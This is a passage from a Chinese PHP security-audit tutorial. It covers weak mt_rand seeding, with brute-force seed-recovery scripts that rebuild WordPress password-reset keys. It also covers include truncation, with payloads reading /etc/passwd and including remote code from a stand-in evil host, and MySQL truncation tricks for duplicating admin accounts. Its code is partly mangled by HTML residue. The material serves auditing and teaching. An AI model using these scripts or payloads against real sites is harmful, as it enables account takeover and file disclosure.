當(dāng)我們的程序使用rand處理session時(shí),攻擊者很容易暴力破解出你的session,但是對(duì)于mt_rand是很難單純的暴力的。
漏洞審計(jì)策略 |
PHP版本要求:無(wú)
系統(tǒng)要求:無(wú) 審計(jì)策略:查找rand |
2) mt_srand()/srand()-weak seeding(by Stefan Esser)
看php手冊(cè)里的描述:
mt_srand (PHP 3 >= 3.0.6, PHP 4, PHP 5)
mt_srand -- 播下一個(gè)更好的隨機(jī)數(shù)發(fā)生器種子 說(shuō)明 void mt_srand ( int seed )
用 seed 來(lái)給隨機(jī)數(shù)發(fā)生器播種。從 PHP 4.2.0 版開(kāi)始,seed 參數(shù)變?yōu)榭蛇x項(xiàng),當(dāng)該項(xiàng)為空時(shí),會(huì)被設(shè)為隨時(shí)數(shù)。
例子 1. mt_srand() 范例
-
<span><?php </span></span>
-
<span>// seed with microseconds</span>
-
function make_seed<span>(</span><span>)</span>
-
<span>{</span>
-
list<span>(</span>$usec, $sec<span>)</span> = explode<span>(</span>' ', microtime<span>(</span><span>)</span><span>)</span>;
-
return <span>(</span>float<span>)</span> $sec + <span>(</span><span>(</span>float<span>)</span> $usec * 100000<span>)</span>;
-
<span>}</span>
-
mt_srand<span>(</span>make_seed<span>(</span><span>)</span><span>)</span>;
-
$randval = mt_rand<span>(</span><span>)</span>;
-
<span>?></span>
注: 自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 函數(shù)給隨機(jī)數(shù)發(fā)生器播種,現(xiàn)已自動(dòng)完成。
php從4.2.0開(kāi)始實(shí)現(xiàn)了自動(dòng)播種,但是為了兼容,后來(lái)使用類(lèi)似于這樣的代碼播種:
mt_srand ((double) microtime() * 1000000)
但是使用(double)microtime()*1000000類(lèi)似的代碼seed是比較脆弱的:
0 0
那么很容易暴力破解,測(cè)試代碼如下:
-
<span><?php </span></span>
-
<span>/////////////////</span>
-
<span>//>php rand.php</span>
-
<span>//828682</span>
-
<span>//828682</span>
-
<span>////////////////</span>
-
ini_set<span>(</span>"max_execution_time",0<span>)</span>;
-
$time=<span>(</span>double<span>)</span> microtime<span>(</span><span>)</span>* 1000000;
-
<span>print</span> <span>$time</span><span>.</span><span>"<span>\n</span>"</span><span>;</span>
-
mt_srand <span>(</span>$time<span>)</span>;
-
?
-
$search_id = mt_rand<span>(</span><span>)</span>;
-
$seed = search_seed<span>(</span>$search_id<span>)</span>;
-
<span>print</span> <span>$seed</span><span>;</span>
-
function search_seed<span>(</span>$rand_num<span>)</span> <span>{</span>
-
<span>$max</span> <span>=</span> <span>1000000</span><span>;</span>
-
for<span>(</span>$seed=0;$seed$max;$seed++<span>)</span><span>{</span>
-
mt_srand<span>(</span>$seed<span>)</span>;
-
$key = mt_rand<span>(</span><span>)</span>;
-
if<span>(</span>$key==$rand_num<span>)</span> return $seed;
-
<span>}</span>
-
<span>return</span> <span>false</span><span>;</span>
-
<span>}</span>
-
<span>?></span>
從上面的代碼實(shí)現(xiàn)了對(duì)seed的破解,另外根據(jù)Stefan Esser的分析seed還根據(jù)進(jìn)程變化而變化,換句話來(lái)說(shuō)同一個(gè)進(jìn)程里的seed是相同的。 然后同一個(gè)seed每次mt_rand的值都是特定的。如下圖:
seed-A mt_rand-A-1 mt_rand-A-2 mt_rand-A-3
seed-B mt_rand-B-1 mt_rand-B-2 mt_rand-B-3
對(duì)于seed-A里mt_rand-1/2/3都是不相等的,但是值都是特定的,也就是說(shuō)當(dāng)seed-A等于seed-B,那么mt_rand-A-1就等于mt_rand-B-1…,這樣我們只要能夠得到seed就可以得到每次mt_rand的值了。
對(duì)于5.2.6>php>4.2.0直接使用默認(rèn)播種的程序也是不安全的(很多的安全人員錯(cuò)誤的以為這樣就是安全的),這個(gè)要分兩種情況來(lái)分析:
第一種:'Cross Application Attacks',這個(gè)思路在Stefan Esser文章里有提到,主要是利用其他程序定義的播種(如mt_srand ((double) microtime()* 1000000)),phpbb+wordpree組合就存在這樣的危險(xiǎn).
第二種:5.2.6>php>4.2.0默認(rèn)播種的算法也不是很強(qiáng)悍,這是Stefan Esser的文章里的描述:
-
- The Implementation
- When mt_rand() is seeded internally or by a call to mt_srand() PHP 4 and PHP 5
在32位系統(tǒng)上默認(rèn)的播種的種子為最大值是2^32,這樣我們循環(huán)最多2^32次就可以破解seed。而在PHP 4和PHP 5
-
<span><?php </span></span>
-
mt_srand<span>(</span>4<span>)</span>;
-
$a = mt_rand<span>(</span><span>)</span>;
-
mt_srand<span>(</span>5<span>)</span>;
-
$b = mt_rand<span>(</span><span>)</span>;
-
<span>print</span> <span>$a</span><span>.</span><span>"<span>\n</span>"</span><span>.</span><span>$b</span><span>;</span>
-
<span>?></span>
通過(guò)上面的代碼發(fā)現(xiàn)$a==$b,所以我們循環(huán)的次數(shù)為232/2=231次。我們看如下代碼:
-
<span><?php </span></span>
-
<span>//base on http://www.milw0rm.com/exploits/6421 </span>
-
<span>//test on php 5.2.0</span>
-
?
-
define<span>(</span>'BUGGY', 1<span>)</span>; //上面代碼$a==$b時(shí)候定義BUGGY=1
-
?
-
$key = wp_generate_password<span>(</span>20, false<span>)</span>;
-
<span>echo</span> <span>$key</span><span>.</span><span>"<span>\n</span>"</span><span>;</span>
-
$seed = getseed<span>(</span>$key<span>)</span>;
-
<span>print</span> <span>$seed</span><span>.</span><span>"<span>\n</span>"</span><span>;</span>
-
?
-
mt_srand<span>(</span>$seed<span>)</span>;
-
$pass = wp_generate_password<span>(</span>20, false<span>)</span>;
-
<span>echo</span> <span>$pass</span><span>.</span><span>"<span>\n</span>"</span><span>;</span>
-
?
-
function wp_generate_password<span>(</span>$length = 12, $special_chars = true<span>)</span> <span>{</span>
-
<span>$chars</span> <span>=</span> <span>'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'</span><span>;</span>
-
if <span>(</span> $special_chars <span>)</span>
-
<span>$chars</span> <span>.=</span> <span>'!@#$%^&*()'</span><span>;</span>
-
?
-
<span>$password</span> <span>=</span> <span>''</span><span>;</span>
-
for <span>(</span> $i = 0; $i $length; $i++ <span>)</span>
-
$password .= substr<span>(</span>$chars, mt_rand<span>(</span>0, strlen<span>(</span>$chars<span>)</span> - 1<span>)</span>, 1<span>)</span>;
-
<span>return</span> <span>$password</span><span>;</span>
-
<span>}</span>
-
?
-
function getseed<span>(</span>$resetkey<span>)</span> <span>{</span>
-
$max = pow<span>(</span>2,<span>(</span>32-BUGGY<span>)</span><span>)</span>;
-
for<span>(</span>$x=0;$x$max;$x++<span>)</span> <span>{</span>
-
$seed = BUGGY?? <span>(</span>$x 1<span>)</span> + 1 : $x;
-
mt_srand<span>(</span>$seed<span>)</span>;
-
$testkey = wp_generate_password<span>(</span>20,false<span>)</span>;
-
if<span>(</span>$testkey==$resetkey<span>)</span> <span>{</span> echo "o\n"; return $seed; <span>}</span>
-
?
-
if<span>(</span>!<span>(</span>$x % 10000<span>)</span><span>)</span> echo $x / 10000;
-
<span>}</span>
-
<span>echo</span> <span>"<span>\n</span>"</span><span>;</span>
-
<span>return</span> <span>false</span><span>;</span>
-
<span>}</span>
-
<span>?></span>
運(yùn)行結(jié)果如下:
-
php5<span>></span>php <span>rand</span><span>.</span>php
-
M8pzpjwCrvVt3oobAaOr
-
<span>0123456789101112131415161718192021222324252627282930313233343536373839404142434</span>
-
<span>445464748495051525354555657585960616263646566676869</span>
-
<span>7071727374757677787980818283848586878889909192939495969798991001011021031041051</span>
-
<span>061071081091101111121131141151161171181191201211221</span>
-
<span>2312412512612712812913013113213313413513613713813914014114214314414514614714814</span>
-
<span>915015115215315415515615715815916016116216316416516</span>
-
<span>6167168169170171172173174175176177178179180181182183184185186187188189190191192</span>
-
<span>193194195196197198199200201202203204205206207208209</span>
-
<span>2102112122132142152162172182192202212222232242252262272282292302312322332342352</span>
-
<span>362372382392402412422432442452462472482492502512522</span>
-
<span>..............</span>01062110622106231062410625106261062710628106291063010631106321063
-
3o
-
<span>70693</span>
-
pjwCrvVt3oobAaOr
當(dāng)10634次時(shí)候我們得到了結(jié)果。
當(dāng)PHP版本到了5.2.1后,通過(guò)修改算法修補(bǔ)了奇數(shù)和偶數(shù)的播種相等的問(wèn)題,這樣也導(dǎo)致了php5.2.0前后導(dǎo)致同一個(gè)播種后的mt_rand()的值不一樣。比如:
-
<span><?php </span></span>
-
mt_srand<span>(</span>42<span>)</span>;
-
echo mt_rand<span>(</span><span>)</span>;
-
<span>//php</span>
-
<span>//php>5.20 1354439493 </span>
-
<span>?></span>
正是這個(gè)原因,也要求了我們的exp的運(yùn)行環(huán)境:當(dāng)目標(biāo)>5.20時(shí)候,我們exp運(yùn)行的環(huán)境也要是>5.20的版本,反過(guò)來(lái)也是一樣。
從上面的測(cè)試及分析來(lái)看,php
很多著名的程序都產(chǎn)生了類(lèi)似的漏洞如wordpress、phpbb、punbb等等。(在后面我們將實(shí)際分析下國(guó)內(nèi)著名的bbs程序Discuz!的mt_srand導(dǎo)致的漏洞)
漏洞審計(jì)策略 |
PHP版本要求:php4 php5系統(tǒng)要求:無(wú)
審計(jì)策略:查找mt_srand/mt_rand |
特殊字符
其實(shí)“特殊字符”也沒(méi)有特定的標(biāo)準(zhǔn)定義,主要是在一些code hacking發(fā)揮著特殊重作用的一類(lèi)字符。下面就舉幾個(gè)例子:
截?cái)?/span>
其中最有名的數(shù)大家都熟悉的null字符截?cái)唷?/p>
include截?cái)?/span>
-
<span><?php </span> </span>
-
<span>include</span> <span>$_GET</span><span>[</span><span>'action'</span><span>]</span><span>.</span><span>".php"</span><span>;</span>
-
<span>?></span>
提交"action=/etc/passwd%00"中的"%00"將截?cái)嗪竺娴?.php",但是除了"%00"還有沒(méi)有其他的字符可以實(shí)現(xiàn)截?cái)嗍褂媚??肯定有人想到了遠(yuǎn)程包含的url里問(wèn)號(hào)“?”的作用,通過(guò)提交"action=http://www.hacksite.com/evil-code.txt?"這里“?”實(shí)現(xiàn)了“偽截?cái)唷保海?,好象這個(gè)看上去不是那么舒服那么我們簡(jiǎn)單寫(xiě)個(gè)代碼fuzz一下:
-
<span><?php </span></span>
-
<span>////////////////////</span>
-
<span>////var5.php代碼:</span>
-
<span>////include $_GET['action'].".php"; </span>
-
<span>////print strlen(realpath("./"))+strlen($_GET['action']); </span>
-
<span>///////////////////</span>
-
ini_set<span>(</span>'max_execution_time', 0<span>)</span>;
-
<span>$str</span><span>=</span><span>''</span><span>;</span>
-
for<span>(</span>$i=0;$i50000;$i++<span>)</span>
-
<span>{</span>
-
<span>$str</span><span>=</span><span>$str</span><span>.</span><span>"/"</span><span>;</span>
-
?
-
$resp=file_get_contents<span>(</span>'http://127.0.0.1/var/var5.php?action=1.txt'.$str<span>)</span>;
-
<span>//1.txt里的代碼為print 'hi';</span>
-
if <span>(</span>strpos<span>(</span>$resp, 'hi'<span>)</span> !== false<span>)</span><span>{</span>
-
<span>print</span> <span>$i</span><span>;</span>
-
<span>exit</span><span>;</span>
-
<span>}</span>
-
<span>}</span>
-
<span>?></span>
經(jīng)過(guò)測(cè)試字符“.”、“ /”或者2個(gè)字符的組合,在一定的長(zhǎng)度時(shí)將被截?cái)?,win系統(tǒng)和*nix的系統(tǒng)長(zhǎng)度不一樣,當(dāng)win下strlen(realpath("./"))+strlen($_GET['action'])的長(zhǎng)度大于256時(shí)被截?cái)啵瑢?duì)于*nix的長(zhǎng)度是4 * 1024 = 4096。對(duì)于php.ini里設(shè)置遠(yuǎn)程文件關(guān)閉的時(shí)候就可以利用上面的技巧包含本地文件了。(此漏洞由cloie#ph4nt0m.org最先發(fā)現(xiàn)])
數(shù)據(jù)截?cái)?/span>
對(duì)于很多web應(yīng)用文件在很多功能是不容許重復(fù)數(shù)據(jù)的,比如用戶注冊(cè)功能等。一般的應(yīng)用程序?qū)τ谔峤蛔?cè)的username和數(shù)據(jù)庫(kù)里已有的username對(duì)比是不是已經(jīng)有重復(fù)數(shù)據(jù),然而我們可以通過(guò)“數(shù)據(jù)截?cái)唷钡葋?lái)饒過(guò)這些判斷,數(shù)據(jù)庫(kù)在處理時(shí)候產(chǎn)生截?cái)鄬?dǎo)致插入重復(fù)數(shù)據(jù)。
1) Mysql SQL Column Truncation Vulnerabilities
這個(gè)漏洞又是大牛Stefan Esser發(fā)現(xiàn)的(Stefan Esser是我的偶像:)),這個(gè)是由于mysql的sql_mode設(shè)置為default的時(shí)候,即沒(méi)有開(kāi)啟STRICT_ALL_TABLES選項(xiàng)時(shí),MySQL對(duì)于插入超長(zhǎng)的值只會(huì)提示warning,而不是error(如果是error就插入不成功),這樣可能會(huì)導(dǎo)致一些截?cái)鄦?wèn)題。測(cè)試如下:
-
mysql> insert into truncated_test<span>(</span>`username`,`password`<span>)</span> values<span>(</span>"admin","pass"<span>)</span>;
-
?
-
mysql> insert into truncated_test<span>(</span>`username`,`password`<span>)</span> values<span>(</span>"admin x", "new_pass"<span>)</span>;
-
Query OK, 1 row affected, 1 warning <span>(</span>0.01 sec<span>)</span>
-
?
-
mysql<span>></span> select <span>*</span> from truncated_test<span>;</span>
-
<span>+----+------------+----------+</span>
-
<span>|</span> id <span>|</span> username <span>|</span> password <span>|</span>
-
<span>+----+------------+----------+</span>
-
<span>|</span> <span>1</span> <span>|</span> admin <span>|</span> pass <span>|</span>
-
<span>|</span> <span>2</span> <span>|</span> admin <span>|</span> new_pass <span>|</span>
-
<span>+----+------------+----------+</span>
-
2 rows in set <span>(</span>0.00 sec<span>)</span>
2) Mysql charset Truncation vulnerability
這個(gè)漏洞是80sec發(fā)現(xiàn)的,當(dāng)mysql進(jìn)行數(shù)據(jù)存儲(chǔ)處理utf8等數(shù)據(jù)時(shí)對(duì)某些字符導(dǎo)致數(shù)據(jù)截?cái)?。測(cè)試如下:
-
mysql> insert into truncated_test<span>(</span>`username`,`password`<span>)</span> values<span>(</span>concat<span>(</span>"admin",0xc1<span>)</span>, "new_pass2"<span>)</span>;
-
Query OK, 1 row affected, 1 warning <span>(</span>0.00 sec<span>)</span>
-
?
-
mysql<span>></span> select <span>*</span> from truncated_test<span>;</span>
-
<span>+----+------------+----------+</span>
-
<span>|</span> id <span>|</span> username <span>|</span> password <span>|</span>
-
<span>+----+------------+----------+</span>
-
<span>|</span> <span>1</span> <span>|</span> admin <span>|</span> pass <span>|</span>
-
<span>|</span> <span>2</span> <span>|</span> admin <span>|</span> new_pass <span>|</span>
-
<span>|</span> <span>3</span> <span>|</span> admin <span>|</span> new_pass2 <span>|</span>
-
<span>+----+------------+----------+</span>
-
2 rows in set <span>(</span>0.00 sec<span>)</span>
很多的web應(yīng)用程序沒(méi)有考慮到這些問(wèn)題,只是在數(shù)據(jù)存儲(chǔ)前簡(jiǎn)單查詢數(shù)據(jù)是否包含相同數(shù)據(jù),如下代碼:
-
$result = mysql_query<span>(</span>"SELECT * from test_user where user='$user' "<span>)</span>;
-
<span>....</span>
-
if<span>(</span>@mysql_fetch_array<span>(</span>$result, MYSQL_NUM<span>)</span><span>)</span> <span>{</span>
-
die<span>(</span>"already exist"<span>)</span>;
-
<span>}</span>
漏洞審計(jì)策略 |
PHP版本要求:無(wú)
系統(tǒng)要求:無(wú) 審計(jì)策略:通讀代碼 |
文件操作里的特殊字符
文件操作里有很多特殊的字符,發(fā)揮特別的作用,很多web應(yīng)用程序沒(méi)有注意處理這些字符而導(dǎo)致安全問(wèn)題。比如很多人都知道的windows系統(tǒng)文件名對(duì)“空格”和“.”等的忽視,這個(gè)主

Hot AI Tools

Undress AI Tool
Undress images for free

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Clothoff.io
AI clothes remover

Video Face Swap
Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Hot Tools

Notepad++7.3.1
Easy-to-use and free code editor

SublimeText3 Chinese version
Chinese version, very easy to use

Zend Studio 13.0.1
Powerful PHP integrated development environment

Dreamweaver CS6
Visual web development tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

Hot Topics

PHPhasthreecommentstyles://,#forsingle-lineand/.../formulti-line.Usecommentstoexplainwhycodeexists,notwhatitdoes.MarkTODO/FIXMEitemsanddisablecodetemporarilyduringdebugging.Avoidover-commentingsimplelogic.Writeconcise,grammaticallycorrectcommentsandu

The key steps to install PHP on Windows include: 1. Download the appropriate PHP version and decompress it. It is recommended to use ThreadSafe version with Apache or NonThreadSafe version with Nginx; 2. Configure the php.ini file and rename php.ini-development or php.ini-production to php.ini; 3. Add the PHP path to the system environment variable Path for command line use; 4. Test whether PHP is installed successfully, execute php-v through the command line and run the built-in server to test the parsing capabilities; 5. If you use Apache, you need to configure P in httpd.conf

How to start writing your first PHP script? First, set up the local development environment, install XAMPP/MAMP/LAMP, and use a text editor to understand the server's running principle. Secondly, create a file called hello.php, enter the basic code and run the test. Third, learn to use PHP and HTML to achieve dynamic content output. Finally, pay attention to common errors such as missing semicolons, citation issues, and file extension errors, and enable error reports for debugging.

PHPisaserver-sidescriptinglanguageusedforwebdevelopment,especiallyfordynamicwebsitesandCMSplatformslikeWordPress.Itrunsontheserver,processesdata,interactswithdatabases,andsendsHTMLtobrowsers.Commonusesincludeuserauthentication,e-commerceplatforms,for

TohandlefileoperationsinPHP,useappropriatefunctionsandmodes.1.Toreadafile,usefile_get_contents()forsmallfilesorfgets()inaloopforline-by-lineprocessing.2.Towritetoafile,usefile_put_contents()forsimplewritesorappendingwiththeFILE_APPENDflag,orfwrite()w

The basic syntax of PHP includes four key points: 1. The PHP tag must be ended, and the use of complete tags is recommended; 2. Echo and print are commonly used for output content, among which echo supports multiple parameters and is more efficient; 3. The annotation methods include //, # and //, to improve code readability; 4. Each statement must end with a semicolon, and spaces and line breaks do not affect execution but affect readability. Mastering these basic rules can help write clear and stable PHP code.

The steps to install PHP8 on Ubuntu are: 1. Update the software package list; 2. Install PHP8 and basic components; 3. Check the version to confirm that the installation is successful; 4. Install additional modules as needed. Windows users can download and decompress the ZIP package, then modify the configuration file, enable extensions, and add the path to environment variables. macOS users recommend using Homebrew to install, and perform steps such as adding tap, installing PHP8, setting the default version and verifying the version. Although the installation methods are different under different systems, the process is clear, so you can choose the right method according to the purpose.

The key to writing Python's ifelse statements is to understand the logical structure and details. 1. The infrastructure is to execute a piece of code if conditions are established, otherwise the else part is executed, else is optional; 2. Multi-condition judgment is implemented with elif, and it is executed sequentially and stopped once it is met; 3. Nested if is used for further subdivision judgment, it is recommended not to exceed two layers; 4. A ternary expression can be used to replace simple ifelse in a simple scenario. Only by paying attention to indentation, conditional order and logical integrity can we write clear and stable judgment codes.
